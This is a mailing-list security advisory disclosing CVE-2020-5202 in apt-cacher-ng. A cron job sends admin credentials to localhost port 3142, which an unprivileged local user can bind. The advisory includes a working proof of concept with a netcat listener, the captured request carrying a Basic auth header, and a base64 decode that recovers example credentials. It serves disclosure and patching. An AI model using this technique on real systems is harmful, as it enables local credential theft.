Date: Mon, 20 Jan 2020 15:36:08 +0100
From: Matthias Gerstner <mgerstner@...e.de>
To: oss-security@...ts.openwall.com
Subject: CVE-2020-5202: apt-cacher-ng: a local unprivileged user can
 impersonate the apt-cacher-ng daemon, possible credentials leak

Hi,

apt-cacher-ng is a caching proxy for downloading packages from
Debian-style software repositories [1]. In the course of a code review
of apt-cacher-ng I noticed a possible credentials leak when
"AdminAuth" is enabled in /etc/apt-cacher-ng/security.conf.

The apt-cacher-ng daemon listens on TCP port 3142 on all network
interfaces but also creates a UNIX domain socket in
/run/apt-cacher-ng/socket. The cron job script
/etc/cron.daily/apt-cacher-ng runs the following command:

/usr/lib/apt-cacher-ng/acngtool maint -c /etc/apt-cacher-ng SocketPath=/var/run/apt-cacher-ng/socket

SocketPath is explicitly specified on the command line, trying to force
a connection to the daemon via the socket path. However, `acngtool` does
not act accordingly. Instead, when using the default configuration, it
connects to localhost:3142. This stems from the source file
source/acngtool.cc:503 (based on apt-cacher-ng 3.1 that I have looked
into), where the following is found:

```
        auto nips = Tokenize(cfg::bindaddr, SPACECHARS, hostips, true);
        if (!nips)
                hostips.emplace_back("localhost");
```

Since port 3142 is not a privileged network port, any local user may
bind to this port. Should the actual apt-cacher-ng daemon not (yet) be
running, a local unprivileged user can impersonate the daemon, and the
cron.daily/apt-cacher-ng script will sooner or later pass the AdminAuth
credentials to it. This is the proof of concept I tested on Debian 9:

```
# make sure AdminAuth is enabled
root # grep AdminAuth /etc/apt-cacher-ng/security.conf
AdminAuth: mooma:moopa

# simulate the apt-cacher-ng daemon not running
root # systemctl stop apt-cacher-ng

# in a second shell run netcat as a regular user on port 3142
user $ nc -l -p 3142

# simulate the cron job being executed
root # /etc/cron.daily/apt-cacher-ng

# now you should see the following output in the netcat shell
GET /acng-report.html?doExpire=Start%2bExpiration&abortOnErrors=aOe HTTP/1.1
User-Agent: Debian Apt-Cacher-NG/2
Host: localhost
Authorization: Basic bW9vbWE6bW9vcGE=
Cache-Control: no-store,no-cache,max-age=0
Accept: application/octet-stream
Accept-Encoding: identity
Connection: close
```

```
# base64 decoding the auth data, the local unprivileged user obtained
# the authentication data for apt-cacher-ng
user $ echo 'bW9vbWE6bW9vcGE=' | base64 -d
mooma:moopa
```

The issue is more severe in the openSUSE packaging where the
apt-cacher-ng daemon is not started by default, but only by explicit
Administrator configuration, which results in the attack surface being
exposed by default. But also when apt-cacher-ng crashes or can be
crashed by a local attacker, the information leak could be achieved.

Debian Upstream has already published an update with a suitable bugfix
for Debian sid [2]. I've informed the upstream author on 2019-11-26
about this issue, the Debian security team was involved, patches
reviewed and agreed upon.

[1]: https://wiki.debian.org/AptCacherNg
[2]: https://security-tracker.debian.org/tracker/CVE-2020-5202

Cheers

Matthias

--
Matthias Gerstner <matthias.gerstner@...e.de>
Dipl.-Wirtsch.-Inf. (FH), Security Engineer
https://www.suse.com/security
Phone: +49 911 740 53 290
GPG Key ID: 0x14C405C971923553

SUSE Software Solutions Germany GmbH
HRB 36809, AG Nürnberg
Geschäftsführer: Felix Imendörffer

Download attachment "signature.asc**" of type "**application/pgp-signature**" (834 bytes)**